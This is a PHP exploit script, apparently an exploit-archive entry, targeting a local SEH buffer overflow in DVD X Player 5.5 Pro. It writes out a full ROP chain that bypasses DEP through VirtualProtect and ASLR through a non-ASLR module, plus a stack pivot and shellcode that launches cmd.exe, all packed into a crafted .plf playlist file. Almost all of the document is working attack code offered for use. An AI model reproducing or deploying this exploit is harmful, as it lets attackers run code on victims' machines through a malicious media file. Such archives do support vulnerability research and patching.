DVD X Player 5.5 Pro – Local Overflow (SEH + ASLR + DEP Bypass)
<?php /* Title: DVD X Player 5.5 Pro (DEP + ASLR Bypass) Exploit Date: Sep 08, 2011 Author: Rew (rew@leethax.info) Discovered by: Blake (http://www.exploit-db.com/exploits/17788/) Link: http://www.dvd-x-player.com/download/DVDXPlayerSetup.exe Tested on: WinXP Pro SP3 + OptOut DEP CVE: NA (0day) DEP bypass via VirtualProtect ASLR bypass via non-aslr module (EPG.dll) No SafeSEH so we use the SEH @ 616 bytes This is my very first DEP + ASLR bypassing exploit. awesomeface.jpg If it looks clunky and rediculous, rather than hating, drop me a line and offer some advice for improvement. irc.rizon.net#beer Many thanks to Corelan Team for their wonderful article here... http://www.corelan.be/index.php/2010/06/16/exploit-writing-tutorial-part-10-chaining-dep-with-rop-the-rubikstm-cube/ */ $padding_1 = str_repeat("A", 336); // ROP till ya drop! $rop = "\x08\xd9\x62\x61"; // push esp; sub eax, 20; pop ebx; retn $rop .= "JUNK"; $rop .= "\x24\x01\x64\x61"; // xchg eax, ebx; retn $rop .= "\xe2\xe4\x60\x61"; // xchg eax, ecx; add al, [eax]; add esp, 4; mov eax, esi; pop esi; retn 4 $rop .= "JUNK"; $rop .= "JUNK"; $rop .= "\x02\x67\x62\x61"; // pop eax; retn $rop .= "JUNK"; $rop .= "\x08\x11\x01\x10"; // ptr to VirtualProtect $rop .= "\x37\x13\x63\x61"; // pop edi; pop esi; retn $rop .= "\x1b\x76\x61\x61"; // retn $rop .= "\x50\x8b\x62\x61"; // jmp [eax] $rop .= "\x3f\x85\x60\x61"; // pop ebp; retn $rop .= "\x66\x56\x60\x61"; // add esp, 8; retn // return of VirtualProtect $rop .= "\x50\x17\x60\x61"; // pop ebx; retn $rop .= "\x84\xcd\x6f\x83"; // this will be added to the pointer already in edx to wrap and get 0x00000040 $rop .= "\x9e\x76\x62\x61"; // add edx, ebx; pop ebx; retn 10 $rop .= "\x01\x01\x01\x01"; // dword size // pretty big, but whatever, easier than dealing with nulls $rop .= "\x31\x08\x62\x61"; // pushad; retn $rop .= "JUNK"; $rop .= "JUNK"; $rop .= "JUNK"; $rop .= "JUNK"; $rop .= "JUNK"; // Couldn't find a good null-free jmp esp, so we do some more ROP to // get esp in eax and then jmp eax to our shellcode on the stack. $rop .= "\x08\xd9\x62\x61"; // push esp; sub eax, 20; pop ebx; retn $rop .= "\x24\x01\x64\x61"; // xchg eax, ebx; retn $rop .= "\xf0\x8d\x62\x61"; // add eax, 0c; retn // one more little nudge $rop .= "\x5b\x5e\x62\x61"; // jmp eax; $padding_2 = str_repeat("\x90", (274 - strlen($rop))); $jmp = "\xeb\x04"; // over the pivot and into the shellcode $pivot = "\xae\x74\x60\x61"; // add esp, 408; retn 4 // Win32 XP SP3 WinExec cmd.exe $shellcode = "\x8b\xec\x55\x8b\xec\x68\x65\x78\x65\x2F" . "\x68\x63\x6d\x64\x2e\x8d\x45\xf8\x50\xb8" . "\xc7\x93\xc2\x77\xff\xd0"; $exploit = $padding_1.$rop.$padding_2.$jmp.$pivot.$shellcode; fwrite(fopen("eggsploit.plf", "w"), $exploit); ?> |